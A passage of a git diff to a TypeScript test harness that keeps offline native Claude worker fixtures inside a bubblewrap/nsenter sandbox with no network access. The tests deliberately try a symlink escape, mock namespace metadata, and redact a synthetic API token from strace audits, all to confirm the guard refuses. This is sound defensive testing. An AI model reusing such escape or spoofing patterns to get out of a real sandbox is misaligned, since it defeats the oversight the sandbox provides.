namespace; no path exemption. */ +export function registerNativeFixtureKeeper(storage: FixtureKeeper): () => void { + try { return registerFixtureKeeper(storage); } + catch(error) { if(String(error).includes("Offline native Claude refused before launch:"))throw error;return refuse("fixture keeper provenance is unavailable"); } +} +function registerFixtureKeeper(storage: FixtureKeeper): () => void { + const start = processStart(storage.namespacePid); + let pid = storage.namespacePid, observed = false; + for (let depth = 0; pid > 1 && depth < 64; depth++) { + if (guardedChildren.get(pid) === processStart(pid)) { observed = true; break; } + const parent = /^PPid:\s+(\d+)/m.exec(readFileSync(`/proc/${pid}/status`, "utf8")); + if (!parent) break; pid = Number(parent[1]); + } + const ns = `/proc/${storage.namespacePid}/ns/mnt`, namespace = statSync(ns, { bigint: true }); + if (!observed || storage.namespaceStart !== start || namespace.ino === statSync("/proc/self/ns/mnt", { bigint: true }).ino || + !new RegExp(`^/proc/${process.pid}/fd/[0-9]+$`).test(storage.root) || FORBIDDEN_BIND_ROOTS.has(resolve(storage.mount))) refuse("fixture keeper provenance is unavailable"); + if(Number(statfsSync(storage.root).type)!==0x01021994)refuse("fixture keeper output is not private tmpfs"); + // Only the publication tree is needed; overlay work/upper metadata never enters inspection. + const mount=join(resolve(storage.mount),"merged"); + const fd = openSync(join(storage.root,"merged"), 0x200000 | 0x10000 | 0x20000); // O_PATH | O_DIRECTORY | O_NOFOLLOW. + const info = fstatSync(fd, {bigint:true}); + const namespaceRoot = `/proc/${storage.namespacePid}/root${mount}`; + const mounted = statSync(namespaceRoot, {bigint:true}); + if (mounted.dev !== info.dev || mounted.ino !== info.ino || !info.isDirectory() || info.uid !== BigInt(process.getuid?.() ?? -1)) { closeSync(fd); refuse("fixture keeper output is not private tmpfs"); } + const snapshot = nativeFixtureDirectory("odysseus-keeper-inspection-"); + const anchor = `/proc/${process.pid}/fd/${fd}`; + let disposed=false; + const live = () => { try { const now=statSync(ns,{bigint:true}); return !disposed && processStart(storage.namespacePid)===start && now.dev===namespace.dev && now.ino===namespace.ino && statSync(namespaceRoot,{bigint:true}).dev===info.dev && statSync(namespaceRoot,{bigint:true}).ino===info.ino && observed; } catch { return false; } }; + const entry = { mount, snapshot, live, refresh() { + if (!live()) refuse("fixture keeper namespace is no longer live"); + for (const name of readdirSync(snapshot)) rmSync(join(snapshot,name),{recursive:true,force:true}); + for (const name of readdirSync(anchor)) cpSync(join(anchor,name),join(snapshot,name),{recursive:true,dereference:false}); + }, dispose() { if(disposed)return;disposed=true;if(fixtureKeepers.get(storage.namespacePid)===entry)fixtureKeepers.delete(storage.namespacePid);closeSync(fd);rmSync(snapshot,{recursive:true,force:true}); } }; + if(fixtureKeepers.has(storage.namespacePid)){closeSync(fd);rmSync(snapshot,{recursive:true,force:true});refuse("fixture keeper was already registered");} + try { entry.refresh(); } catch { entry.dispose(); refuse("fixture keeper snapshot is unavailable"); } + fixtureKeepers.set(storage.namespacePid,entry); return entry.dispose; +} +function workerKeeper(argv: readonly string[], bwrap: number): KeeperInspection | undefined { + const at = argv.findIndex((value,index) => index < bwrap && basename(value)==="nsenter"); + if(at<0)return; + const target=argv.indexOf("--target",at);if(target<0||target>bwrap)return; + const entry=fixtureKeepers.get(Number(argv[target+1]));if(!entry)return; + if(!entry.live())refuse("fixture keeper namespace is no longer live");entry.refresh();return entry; +} +function inspectedWorkerSource(input: string, keeper?: KeeperInspection): string { + const path=resolve(input); + return keeper && within(keeper.mount,path) ? realpathSync(join(keeper.snapshot,path.slice(keeper.mount.length))) : realpathSync(input); +} + /** Only fixture-declared data, fixed runtime bytes and guard-created IPC enter a worker. */ function workerSourceAllowed(source: string, route: ScriptedAuthority, guardRoot: string): boolean { const created=[...createdFixtureRoots].filter(([path,stamp])=>{try{const now=lstatSync(path,{bigint:true});return now.dev===stamp.dev&&now.ino===stamp.ino;}catch{return false;}}).map(([path])=>path); @@ -731,14 +830,14 @@ function workerSourceAllowed(source: string, route: ScriptedAuthority, guardRoot .some(path => { try { return realpathSync(path) === source; } catch { return false; } }); } -function stageWorkerFixtureBinds(argv: string[], bwrap: number, route: ScriptedAuthority, guardRoot: string): void { +function stageWorkerFixtureBinds(argv: string[], bwrap: number, route: ScriptedAuthority, guardRoot: string, keeper?: KeeperInspection): void { let staged = 0; const staging = join(guardRoot, "files"); for (let i = bwrap + 1; i < argv.indexOf("--", bwrap); i++) { if (!["--bind", "--ro-bind", "--dev-bind", "--bind-try", "--ro-bind-try", "--dev-bind-try"].includes(argv[i]!)) continue; if (FORBIDDEN_BIND_ROOTS.has(resolve(argv[i+1]!)) || FORBIDDEN_BIND_ROOTS.has(resolve(argv[i+2]!))) refuse("native bind exposes a forbidden host service root"); let source: string; - try { source = realpathSync(argv[i + 1]!); } catch(error) { refuse("worker bind source is unavailable",mountInputEvidence(argv[i+1]!,argv[i+2]!,i,error,route.fixtureRoots)); } + try { source = inspectedWorkerSource(argv[i + 1]!, keeper); } catch(error) { refuse("worker bind source is unavailable",mountInputEvidence(argv[i+1]!,argv[i+2]!,i,error,route.fixtureRoots)); } if (FORBIDDEN_BIND_ROOTS.has(source)) refuse("native bind exposes a forbidden host service root"); const explicit = route.fixtureFiles.get(source); if (explicit) { @@ -763,10 +862,10 @@ function stageWorkerFixtureBinds(argv: string[], bwrap: number, route: ScriptedA } } -function assertWorkerFixtureBinds(mounts: readonly string[], route: ScriptedAuthority, guardRoot: string): void { +function assertWorkerFixtureBinds(mounts: readonly string[], route: ScriptedAuthority, guardRoot: string, keeper?: KeeperInspection): void { for(let i=0;i): { "--ro-bind", bridge.directory, "/tmp/native-relay", "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group", ...Object.entries(pinned).flatMap(([key, value]) => ["--setenv", key, value])); - try { stageWorkerFixtureBinds(workerArgv,bwrap,route,bridge.directory); } + const keeper=workerKeeper(workerArgv,bwrap); + try { stageWorkerFixtureBinds(workerArgv,bwrap,route,bridge.directory,keeper); } catch(error) { if (String(error).includes("Offline native Claude refused before launch:")) throw error; refuse("worker fixture provenance is unavailable"); } const payloadIndex = workerArgv.indexOf("--", bwrap) + 1; const nativePayload = workerArgv.splice(payloadIndex); workerArgv.push(...nativeSocketCommand(nativePayload, admitted?.path ?? join(bridge.directory, "relay.sock"), pinned.ANTHROPIC_UNIX_SOCKET)); const nativeMounts = workerArgv.slice(bwrap + 1, workerArgv.indexOf("--", bwrap)); const beforeLaunch = () => { - try { assertWorkerFixtureBinds(nativeMounts, route, bridge.directory); assertNativeMountSockets(nativeMounts, route.origin); } + try { keeper?.refresh(); assertWorkerFixtureBinds(nativeMounts, route, bridge.directory,keeper); assertNativeMountSockets(nativeMounts, route.origin,keeper); } catch(error) { if (String(error).includes("Offline native Claude refused before launch:")) throw error; refuse("worker fixture provenance is unavailable"); } }; beforeLaunch(); diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index bf424d80f1..4c2d4428ed 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -1,5 +1,5 @@ /** Test-only subprocess and transport safeguards; never imported by a published package. */ -import { guardNativeHttpListen, guardNativeHttpEvent, guardNativeRelayServer, assertNativeRelayDestination, assertNativeRelaySocket, assertNativeRelayUnix, assertNoNativeRefusals, nativeIsolationFailed, nativeTestHead, isNativeClaude, nativeClaudeBoundary, nativeWorkerBoundary, refuseNativeClaude } from "./test-native-guard"; +import { recordNativeGuardChild, guardNativeHttpListen, guardNativeHttpEvent, guardNativeRelayServer, assertNativeRelayDestination, assertNativeRelaySocket, assertNativeRelayUnix, assertNoNativeRefusals, nativeIsolationFailed, nativeTestHead, isNativeClaude, nativeClaudeBoundary, nativeWorkerBoundary, refuseNativeClaude } from "./test-native-guard"; import { basename, join } from "node:path"; import { Server as HttpServer } from "node:http"; import { isIP, Socket } from "node:net"; @@ -189,7 +189,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { try { boundary?.beforeLaunch(); workerBoundary?.beforeLaunch(); const result = Reflect.apply(native, Bun, args); - if (key === "spawn") void result.exited.finally(() => { boundary?.dispose(); workerBoundary?.dispose(); }); + if (key === "spawn") { recordNativeGuardChild(result); void result.exited.finally(() => { boundary?.dispose(); workerBoundary?.dispose(); }); } else workerBoundary?.dispose(); return result; } catch (error) { boundary?.dispose(); workerBoundary?.dispose(); throw error; } diff --git a/tests/fixtures/autonomous-app-probe.ts b/tests/fixtures/autonomous-app-probe.ts index ec53057537..74a2800dca 100644 --- a/tests/fixtures/autonomous-app-probe.ts +++ b/tests/fixtures/autonomous-app-probe.ts @@ -107,7 +107,7 @@ async function main(): Promise { events.push({ type: "message_delta", delta: { stop_reason: chosen.length ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); - nativeScriptedService(upstream.url.origin, { fixtureRoots: [brainPath, home] }); + nativeScriptedService(upstream.url.origin, { fixtureRoots: [root] }); const url = `http://127.0.0.1:${upstream.port}`; writeFileSync(join(root, "pi/models.json"), JSON.stringify({ providers: { anthropic: { baseUrl: url } } })); const backend = adapter === "claude" diff --git a/tests/fixtures/autonomous-containment-probe.ts b/tests/fixtures/autonomous-containment-probe.ts index 0cc157f559..ded5070037 100644 --- a/tests/fixtures/autonomous-containment-probe.ts +++ b/tests/fixtures/autonomous-containment-probe.ts @@ -173,7 +173,7 @@ async function server(): Promise { events.push({ type: "message_delta", delta: { stop_reason: chosen.length ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } })); - nativeScriptedService(upstream.url.origin, { fixtureRoots: [brainPath, home, join(root, "claude")] }); + nativeScriptedService(upstream.url.origin, { fixtureRoots: [root] }); const url = `http://127.0.0.1:${upstream.port}`; writeFileSync(join(root, "pi/models.json"), JSON.stringify({ providers: { anthropic: { baseUrl: url } } })); const backend = adapter === "claude" diff --git a/tests/fixtures/autonomous-dispatch-probe.ts b/tests/fixtures/autonomous-dispatch-probe.ts index 9bfd3d8faf..a8001885c4 100644 --- a/tests/fixtures/autonomous-dispatch-probe.ts +++ b/tests/fixtures/autonomous-dispatch-probe.ts @@ -85,7 +85,7 @@ async function main(): Promise { events.push({ type: "message_delta", delta: { stop_reason: chosen ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); - nativeScriptedService(upstream.url.origin, { fixtureRoots: [brainPath] }); + nativeScriptedService(upstream.url.origin, { fixtureRoots: [root] }); const url = `http://127.0.0.1:${upstream.port}`; writeFileSync(join(root, "pi/models.json"), JSON.stringify({ providers: { anthropic: { baseUrl: url } } })); const backend = adapter === "claude" diff --git a/tests/fixtures/autonomous-runtime-probe.ts b/tests/fixtures/autonomous-runtime-probe.ts index 7770e55411..ca039613c0 100644 --- a/tests/fixtures/autonomous-runtime-probe.ts +++ b/tests/fixtures/autonomous-runtime-probe.ts @@ -92,7 +92,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { type: "message_delta", delta: { stop_reason: "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }]); } }); -nativeScriptedService(server.url.origin, { fixtureRoots: [brainPath, configDir] }); +nativeScriptedService(server.url.origin, { fixtureRoots: [root] }); function start(): unknown { return { type: "message_start", message: { id: `msg_${crypto.randomUUID()}`, type: "message", role: "assistant", model: "claude-sonnet-4-6", content: [], stop_reason: null, stop_sequence: null, diff --git a/tests/fixtures/claude-worker-probe.ts b/tests/fixtures/claude-worker-probe.ts index 5597aa236d..e080ed1b4a 100644 --- a/tests/fixtures/claude-worker-probe.ts +++ b/tests/fixtures/claude-worker-probe.ts @@ -115,7 +115,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) events.push({ type: "content_block_stop", index: 0 }, { type: "message_delta", delta: { stop_reason: action ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map((event: any) => `event: ${event.type}\ndata: ${JSON.stringify(event)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(server.url.origin, { fixtureRoots: [brainPath, config] }); +nativeScriptedService(server.url.origin, { fixtureRoots: [root] }); const db = createUiDb(":memory:"); const store = createActivityStore(db, { writer: "claude-worker-test" }), stream = createActivityStream(store); const profile: InferenceProfile = { id: "fixture", label: "Fixture", model: "claude-sonnet-4-6", billing: "api", requiredEnvKeys: [], buildEnv: () => ({ ANTHROPIC_BASE_URL: `http://127.0.0.1:${server.port}`, ANTHROPIC_API_KEY: "offline-fixture", CLAUDE_CODE_OAUTH_TOKEN: "", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1" }) }; const backend = createClaudeBackend({ brainPath, profiles: [profile], log: () => {} }); diff --git a/tests/fixtures/policy-boundary-probe.ts b/tests/fixtures/policy-boundary-probe.ts index 968d400604..f248240fc6 100644 --- a/tests/fixtures/policy-boundary-probe.ts +++ b/tests/fixtures/policy-boundary-probe.ts @@ -420,7 +420,7 @@ async function server(): Promise { const url = `http://127.0.0.1:${inference.port}`; const configDir = join(root, "claude"), agentDir = join(root, "pi"); mkdirSync(configDir, { recursive: true }); mkdirSync(agentDir, { recursive: true }); - nativeScriptedService(inference.url.origin, { fixtureRoots: [brainPath, configDir] }); + nativeScriptedService(inference.url.origin, { fixtureRoots: [root] }); process.env.CLAUDE_CONFIG_DIR = configDir; process.env.CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC = "1"; process.env.PI_CODING_AGENT_DIR = agentDir; diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 57efaf2b47..8bdfc2db7d 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -1023,3 +1023,53 @@ test("guard-created fixture roots cannot authorize a replacement host tree",asyn expect(result.code).not.toBe(0);expect(result.output.split("\n")).toContain("CREATED_ROOT_REPLACEMENT_REFUSED"); }finally{rmSync(scratch,{recursive:true,force:true});} }); + +test("a refused worker spawn rejects and closes the failed invocation promptly",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-refusal-deadline-")); + try{ + const wrapper=join(scratch,"fixture-wrapper"),marker=join(scratch,"launched"),script=join(scratch,"probe.ts"); + writeFileSync(wrapper,`#!/bin/sh\nprintf launched > '${marker}'\n`);chmodSync(wrapper,0o700); + writeFileSync(script,`${imports} + await Promise.resolve().then(()=>Bun.spawn([${JSON.stringify(wrapper)},${JSON.stringify(runtime)}],{env:{BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(wrapper)},${JSON.stringify(runtime)}],argv:["bwrap","--",${JSON.stringify(wrapper)},${JSON.stringify(runtime)}]})}})).catch(()=>console.error("SPAWN_PROMISE_REJECTED")); + setInterval(()=>{},1000);`); + const child=Bun.spawn([process.execPath,script],{env:{PATH:"/usr/bin:/bin",HOME:scratch},stdout:"pipe",stderr:"pipe",signal:AbortSignal.timeout(watchdogMs(5000))}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(code,err).toBe(1);expect(out).toBe("");expect(err.split("\n")).toContain("SPAWN_PROMISE_REJECTED"); + expect(err).toContain('"nativeLaunched":false');expect(existsSync(marker)).toBe(false); + }finally{rmSync(scratch,{recursive:true,force:true});} +},watchdogMs(15000)); + +test("keeper output root requires a guarded child namespace and pinned fixture handle",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-keeper-registration-")),keeperRoot=mkdtempSync(join(tmpdir(),"odysseus-keeper-output-")),outside=mkdtempSync(join(tmpdir(),"odysseus-keeper-outside-")); + try{ + mkdirSync(join(keeperRoot,"merged/.brain/scratch"),{recursive:true});writeFileSync(join(keeperRoot,"merged/.brain/scratch/result.md"),"Odysseus returns to Ithaca."); + symlinkSync(outside,join(keeperRoot,"merged/escape")); + const result=await probe(`import * as fs from "node:fs";import {mock} from "bun:test"; + const child=Bun.spawn([process.execPath,"--no-env-file","-e",'process.stdin.resume();process.stdin.once("end",()=>process.exit(0));'],{stdin:"pipe",stdout:"ignore",stderr:"ignore"}); + const originalFs={...fs},namespace=\`/proc/\${child.pid}/ns/mnt\`; + // Metadata-only stand-in for a separate tmpfs namespace. No namespace or + // installed runtime executes; the hosted cell supplies the kernel proof. + mock.module("node:fs",()=>({...originalFs,statSync:(path,options)=>{const info=originalFs.statSync(path,options);return path===namespace?{...info,ino:typeof info.ino==="bigint"?info.ino+1n:info.ino+1}:info;},statfsSync:()=>({type:0x01021994})})); + const guard=await import(${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}); + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + guard.nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[${JSON.stringify(scratch)}]}); + guard.recordNativeGuardChild(child); + const fd=fs.openSync(${JSON.stringify(keeperRoot)},"r"),start=fs.readFileSync(\`/proc/\${child.pid}/stat\`,"utf8").replace(/^.*\\) /s,"").split(" ")[19]; + const unregister=guard.registerNativeFixtureKeeper({root:\`/proc/\${process.pid}/fd/\${fd}\`,mount:${JSON.stringify(keeperRoot)},namespacePid:child.pid,namespaceStart:start}); + const env={BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}},argv:["/usr/bin/nsenter","--target",String(child.pid),"--user","--mount","--preserve-credentials","--","bwrap","--bind",${JSON.stringify(join(keeperRoot,"merged/.brain/scratch"))},"/tmp/odysseus-output","--",${JSON.stringify(runtime)}]})}; + try{ + const plan=guard.nativeWorkerBoundary(env);plan.beforeLaunch(); + const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; + const binds=argv.slice(argv.indexOf("--bind"));if(!binds.includes(${JSON.stringify(join(keeperRoot,"merged/.brain/scratch"))}))throw Error("PUBLICATION_BIND_CHANGED"); + fs.writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();console.error(JSON.stringify({keeperRoot:"admitted"})); + const escaped=JSON.parse(env.BRAIN_WORKER_LAUNCH);escaped.argv[escaped.argv.indexOf("--bind")+1]=${JSON.stringify(join(keeperRoot,"merged/escape"))}; + try{const unsafe=guard.nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify(escaped)});unsafe.dispose();throw Error("KEEPER_SYMLINK_ESCAPE_ADMITTED");}catch(error){if(!String(error).includes("worker bind was not created or staged by the fixture"))throw error;console.error(JSON.stringify({keeperRoot:"escape-refused"}));} + unregister(); + try{const unsafe=guard.nativeWorkerBoundary(env);unsafe.dispose();throw Error("UNREGISTERED_KEEPER_ADMITTED");}catch(error){if(!String(error).includes("worker bind was not created or staged by the fixture"))throw error;console.error(JSON.stringify({keeperRoot:"unregistered-refused"}));} + }finally{unregister();child.stdin.end();child.kill("SIGKILL");fs.closeSync(fd);}`,scratch); + expect(result.output.split("\n")).toContain('{"keeperRoot":"admitted"}');expect(result.output.split("\n")).toContain('{"keeperRoot":"unregistered-refused"}');expect(result.output.split("\n")).toContain('{"keeperRoot":"escape-refused"}');expect(result.code).toBe(1); + }finally{rmSync(scratch,{recursive:true,force:true});rmSync(keeperRoot,{recursive:true,force:true});rmSync(outside,{recursive:true,force:true});} +}); diff --git a/tests/native-policy-artifact.test.ts b/tests/native-policy-artifact.test.ts index b55bd97796..5a4fdbe33e 100644 --- a/tests/native-policy-artifact.test.ts +++ b/tests/native-policy-artifact.test.ts @@ -1,6 +1,6 @@ /** Synthetic compiler outcomes only: no installed native runtime executes. */ import { expect, test } from "bun:test"; -import { mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { copyFileSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import { tmpdir } from "node:os"; const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); @@ -41,3 +41,23 @@ for(const mode of ["valid","changed","writable"] as const)test(`read-only RTK po if(mode==="valid")expect(out.trim()).toBe("/usr/local/bin/brain-native-connect");else expect(err).toContain("native socket policy artifact is unavailable or changed"); }finally{rmSync(root,{recursive:true,force:true});} }); + +test("an isolated preload without receipt libraries never prints raw diagnostic text",async()=>{ + const root=mkdtempSync(join(tmpdir(),"odysseus-isolated-diagnostic-")); + try{ + mkdirSync(join(root,"scripts"));mkdirSync(join(root,"packages")); + writeFileSync(join(root,"package.json"),JSON.stringify({private:true}));copyFileSync(guard,join(root,"scripts/test-native-guard.ts")); + const script=join(root,"probe.ts"),secret="odysseus-private-diagnostic-material"; + writeFileSync(script,`const original=Bun.spawnSync; + Bun.spawnSync=((argv,options)=>argv[0]==="cc"?{exitCode:1,stdout:Buffer.alloc(0),stderr:Buffer.from(process.env.TEST_DIAGNOSTIC_SECRET)}:Reflect.apply(original,Bun,[argv,options])); + const {compileSocketPolicy,scrubNativeStartupTrace}=await import(${JSON.stringify(join(root,"scripts/test-native-guard.ts"))}); + console.log(JSON.stringify({text:scrubNativeStartupTrace(process.env.TEST_DIAGNOSTIC_SECRET)})); + try{compileSocketPolicy();}catch{}process.exit(1);`); + const child=Bun.spawn([process.execPath,script],{env:{...process.env,TEST_DIAGNOSTIC_SECRET:secret},stdout:"pipe",stderr:"pipe"}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(code).toBe(1);expect(out+err).not.toContain(secret); + expect(JSON.parse(out).text).toBe("[diagnostic redaction unavailable]"); + const receipt=JSON.parse(err.split("\n").find(line=>line.startsWith('{"kind":"native-offline-boundary"'))!); + expect(receipt.compilerStderr).toBe("[diagnostic redaction unavailable]"); + }finally{rmSync(root,{recursive:true,force:true});} +}); diff --git a/tests/native-startup-audit.test.ts b/tests/native-startup-audit.test.ts new file mode 100644 index 0000000000..c7ce0e2663 --- /dev/null +++ b/tests/native-startup-audit.test.ts @@ -0,0 +1,45 @@ +import { expect, test } from "bun:test"; +import { scrubNativeStartupTrace } from "../scripts/test-native-guard"; + +test("identity startup audit bounds the tail and omits argv environment credentials and paths",()=>{ + const prompt="SIRENS_PROMPT_MUST_NOT_PRINT",secret="sk-ant-"+"v".repeat(48); + const text=scrubNativeStartupTrace('old header\n'+"compiler note voyage\n".repeat(6000)+ + `42 execve("/tmp/odysseus-runtime", ["${prompt}"], ["TOKEN=${secret}"]) = 0\n`+ + `43 execveat(3, "cli", ["${prompt}"], ["TOKEN=${secret}"], 0) = 0\n`+ + '42 openat(AT_FDCWD, "/tmp/odysseus-private/config", O_RDONLY) = -1 ENOENT\n'+ + '42 clone3({flags=CLONE_VM}, 88) = -1 EAGAIN\n'); + expect(text.length).toBeLessThanOrEqual(65536);expect(text).not.toContain("old header"); + for(const hidden of [prompt,secret,"/tmp/odysseus-private"])expect(text).not.toContain(hidden); + expect(text).toContain("execve([arguments omitted])");expect(text).toContain("clone3");expect(text).toContain("EAGAIN"); + expect(scrubNativeStartupTrace('execve("x", ["'+prompt.repeat(4000)+'"], []) = 0')).toBe(""); +}); + +for(const writeFailure of [false,true]) test(`identity audit snapshots sanitized file/process evidence before raw cleanup (${writeFailure?"blocked":"retained"})`,async()=>{ + const fs=await import("node:fs"),path=await import("node:path"),os=await import("node:os"); + const root=fs.mkdtempSync(path.join(os.tmpdir(),"odysseus-identity-audit-")); + try{ + const script=path.join(root,"probe.ts"),guard=path.join(import.meta.dir,"../scripts/test-native-guard.ts"); + fs.writeFileSync(script,`import * as fs from "node:fs";import {mock} from "bun:test"; + const originalFs={...fs}; + ${writeFailure?'mock.module("node:fs",()=>({...originalFs,writeFileSync:(path,...args)=>{if(String(path).includes("/native-startup-audit-"))throw Error("fixture diagnostic write refused");return originalFs.writeFileSync(path,...args);}}));':''} + const spawnSync=Bun.spawnSync; + Bun.spawnSync=((argv,options)=>{if(argv[0]==="/usr/bin/python3") {if(argv[5]==="set"){fs.chmodSync(argv[7],0o730);fs.chmodSync(argv[8],0o620);}return {exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)};}return Reflect.apply(spawnSync,Bun,[argv,options]);}); + process.argv.push("--native-identity-startup-audit="+${JSON.stringify(root)}); + const {auditNativeLaunch}=await import(${JSON.stringify(guard+"?identity-audit-fixture")}); + let cleaned=false;const audit=auditNativeLaunch(["/usr/bin/true"],["/synthetic/runtime"],()=>{cleaned=true;},21002); + const selection=audit.argv.find(value=>value.startsWith("trace=")); + if(!selection.includes("%file,%process")||/read|write/.test(selection))throw Error("UNSAFE_OR_MISSING_STARTUP_TRACE"); + const raw=audit.argv[audit.argv.indexOf("-o")+1]; + fs.writeFileSync(raw,'42 execve("/synthetic/runtime", ["SIRENS_PRIVATE_PROMPT"], ["TOKEN=sk-ant-'+"v".repeat(48)+'"]) = 0\\n42 clone3({}, 88) = -1 EAGAIN\\n42 openat(AT_FDCWD, \"connect(3) = -1 EPERM\", O_RDONLY) = -1 ENOENT\\n'); + audit.dispose(); + if(!cleaned||fs.existsSync(raw))throw Error("RAW_AUDIT_NOT_CLEANED"); + console.log(JSON.stringify(fs.readdirSync(${JSON.stringify(root)}).filter(name=>name.startsWith("native-startup-audit-")).map(name=>JSON.parse(fs.readFileSync(${JSON.stringify(root)}+"/"+name,"utf8")))));`); + const child=Bun.spawn([process.execPath,script],{stdout:"pipe",stderr:"pipe"}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(code,err).toBe(0); + const audit=JSON.parse(err.split("\n").find(line=>line.startsWith('{"kind":"native-offline-audit"'))!);expect(audit.deniedConnects).toBe(0); + const snapshots=JSON.parse(out);expect(snapshots).toHaveLength(writeFailure?0:1); + if(writeFailure) { expect(err).toContain('"kind":"native-fixture-startup-audit-failure"');expect(err).toContain('"nativeLaunched":true,"success":true'); } + else {expect(snapshots[0].text).toContain("EAGAIN");expect(snapshots[0].text).not.toContain("SIRENS_PRIVATE_PROMPT");expect(snapshots[0].text).not.toContain("sk-ant-");} + }finally{fs.rmSync(root,{recursive:true,force:true});} +}); diff --git a/tests/native-worker-fixture-inventory.test.ts b/tests/native-worker-fixture-inventory.test.ts new file mode 100644 index 0000000000..1dac937c25 --- /dev/null +++ b/tests/native-worker-fixture-inventory.test.ts @@ -0,0 +1,30 @@ +/** Composition checks only; positive installed-runtime proof stays in hosted CI. */ +import { expect, test } from "bun:test"; +import ts from "typescript"; +import { readFileSync } from "node:fs"; +import { join } from "node:path"; +const root=join(import.meta.dir,".."); +const read=(file:string)=>readFileSync(join(root,file),"utf8"); +for(const file of ["packages/ui-backend-claude/tests/follow-up-delivery.test.ts","packages/ui-backend-claude/tests/subscription-billing.test.ts","packages/ui-server/tests/bundled-claude.test.ts"])test(`read-only native fixture declares an ephemeral sandbox: ${file}`,()=>{ + const source=ts.createSourceFile(file,read(file),ts.ScriptTarget.Latest,true);let calls=0; + function visit(node:ts.Node){ + if(ts.isCallExpression(node)&&ts.isPropertyAccessExpression(node.expression)&&node.expression.name.text==="startTurn"){ + const request=node.arguments[0];expect(request&&ts.isObjectLiteralExpression(request),"literal native request").toBe(true); + if(request&&ts.isObjectLiteralExpression(request)){ + const sandbox=request.properties.find(prop=>ts.isPropertyAssignment(prop)&&prop.name.getText(source)==="workerSandbox") as ts.PropertyAssignment|undefined; + expect(sandbox,"explicit native sandbox").toBeDefined();expect(sandbox?.initializer.getText(source)).toContain("areas: []");calls++; + } + } + ts.forEachChild(node,visit); + }visit(source);expect(calls).toBeGreaterThan(0);expect(read(file)).toContain("nativeFixtureDirectory"); +}); +for(const name of ["provider-history-probe","provider-history-attachment-probe","provider-history-apify-probe","transcript-prefix-probe","stable-roster-probe","shell-startup-probe","session-prompt-probe","autonomous-prompt-probe","interactive-git-prompt-probe"])test(`copied native fixture declares its input root: ${name}`,()=>{ + const file=`packages/ui-backend-claude/tests/fixtures/${name}.ts`,source=ts.createSourceFile(file,read(file),ts.ScriptTarget.Latest,true);let declared=0; + function visit(node:ts.Node){if(ts.isCallExpression(node)&&node.expression.getText(source)==="nativeScriptedService"){ + expect(node.arguments[1]?.getText(source),"fixture root declaration").toContain("fixtureRoots");declared++; + }ts.forEachChild(node,visit);}visit(source);expect(declared).toBeGreaterThan(0); +}); +for(const name of ["autonomous-dispatch","autonomous-app","autonomous-runtime","autonomous-containment","claude-worker","policy-boundary"])test(`app native fixture declares its whole private temporary tree: ${name}`,()=>{ + const source=read(`tests/fixtures/${name}-probe.ts`); + expect(source).toContain("fixtureRoots: [root]"); +}); diff --git a/tests/native-worker-startup-diagnostics.test.ts b/tests/native-worker-startup-diagnostics.test.ts index 8165afd316..9f96b2b169 100644 --- a/tests/native-worker-startup-diagnostics.test.ts +++ b/tests/native-worker-startup-diagnostics.test.ts @@ -12,12 +12,12 @@ test("native fixture startup diagnostics use receipt scrubbers across 